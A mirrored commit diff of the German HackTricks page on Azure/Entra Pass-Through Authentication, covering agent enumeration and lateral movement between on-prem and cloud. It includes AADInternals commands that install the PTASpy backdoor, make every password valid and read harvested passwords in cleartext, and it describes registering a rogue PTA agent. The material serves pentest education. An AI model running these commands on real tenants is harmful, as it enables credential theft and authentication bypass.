mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 06:13:16 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfe-Kosten, da es weniger wahrscheinlich ist, dass Ihre Benutzer vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Azure AD anmelden, **validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory**.
|
||||
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfskosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory.
|
||||
|
||||
In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter** **nicht**, wie bei PHS.
|
||||
In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter nicht**, wie bei PHS.
|
||||
|
||||
Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der Cloud erfolgt über einen **Authentifizierungsagenten**, der auf einem **lokalen Server** läuft (er muss nicht auf dem lokalen DC sein).
|
||||
|
||||
@@ -14,29 +14,63 @@ Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** eingibt.
|
||||
2. Die **Anmeldeinformationen** werden **verschlüsselt** und in eine **Warteschlange** in Azure AD gesetzt.
|
||||
3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird **"Pass-through authentication agent"** oder **PTA agent** genannt.
|
||||
1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** sendet.
|
||||
2. Die **Anmeldeinformationen** werden **verschlüsselt** und in einer **Warteschlange** in Azure AD gesetzt.
|
||||
3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-Through-Authentifizierungsagent"** oder **PTA-Agent** bezeichnet.
|
||||
4. Der **Agent** **validiert** die Anmeldeinformationen gegen das **lokale AD** und sendet die **Antwort** **zurück** an Azure AD, die, wenn die Antwort positiv ist, die **Anmeldung** des Benutzers **abschließt**.
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn ein Angreifer die **PTA** **kompromittiert**, kann er alle **Anmeldeinformationen** aus der Warteschlange **sehen** (im **Klartext**).\
|
||||
> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton key).
|
||||
> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton Key).
|
||||
|
||||
### On-Prem -> Cloud
|
||||
### Aufzählung
|
||||
|
||||
Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem laufenden **PTA** **Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter**, die eingegeben werden, **validiert** (so dass alle Passwörter für die Authentifizierung gültig sind):
|
||||
Von Entra ID:
|
||||
```bash
|
||||
Install-AADIntPTASpy
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
{
|
||||
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
|
||||
"value": [
|
||||
{
|
||||
"agents": [
|
||||
{
|
||||
"externalIp": "20.121.45.57",
|
||||
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
|
||||
"machineName": "ConnectSync.hacktricks-con.azure",
|
||||
"status": "active",
|
||||
"supportedPublishingTypes": [
|
||||
"authentication"
|
||||
]
|
||||
}
|
||||
],
|
||||
"displayName": "Default group for Pass-through Authentication",
|
||||
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
|
||||
"isDefault": true,
|
||||
"publishingType": "authentication"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Überprüfen Sie, ob der Agent auf dem lokalen Server ausgeführt wird:
|
||||
```bash
|
||||
Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem **PTA**-**Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter** validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
|
||||
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
|
||||
|
||||
Remove-AADIntPTASpy # Remove the backdoor
|
||||
```
|
||||
> [!NOTE]
|
||||
> Wenn die **Installation fehlschlägt**, liegt das wahrscheinlich an fehlenden [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Es ist auch möglich, die **im Klartext gesendeten Passwörter an den PTA-Agenten** mit dem folgenden Cmdlet auf dem Computer zu sehen, auf dem das vorherige Backdoor installiert wurde:
|
||||
```bash
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
Dieser Backdoor wird:
|
||||
Dieses Backdoor wird:
|
||||
|
||||
- Einen versteckten Ordner `C:\PTASpy` erstellen
|
||||
- Eine `PTASpy.dll` nach `C:\PTASpy` kopieren
|
||||
@@ -45,10 +79,8 @@ Dieser Backdoor wird:
|
||||
> [!NOTE]
|
||||
> Wenn der AzureADConnectAuthenticationAgent-Dienst neu gestartet wird, wird PTASpy „entladen“ und muss neu installiert werden.
|
||||
|
||||
### Cloud -> On-Prem
|
||||
|
||||
> [!CAUTION]
|
||||
> Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, einen **neuen PTA-Agenten** zu **registrieren**, indem man ihn auf einem **vom Angreifer kontrollierten Gerät** einrichtet. Sobald der Agent **eingerichtet** ist, können wir die **vorherigen** Schritte **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.**
|
||||
> Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, **einen neuen PTA-Agenten zu registrieren** und die **vorherigen** Schritte zu **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
@@ -58,7 +90,7 @@ Es ist möglich, Seamless SSO mit PTA zu verwenden, das anfällig für andere Mi
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
Reference in New Issue
Block a user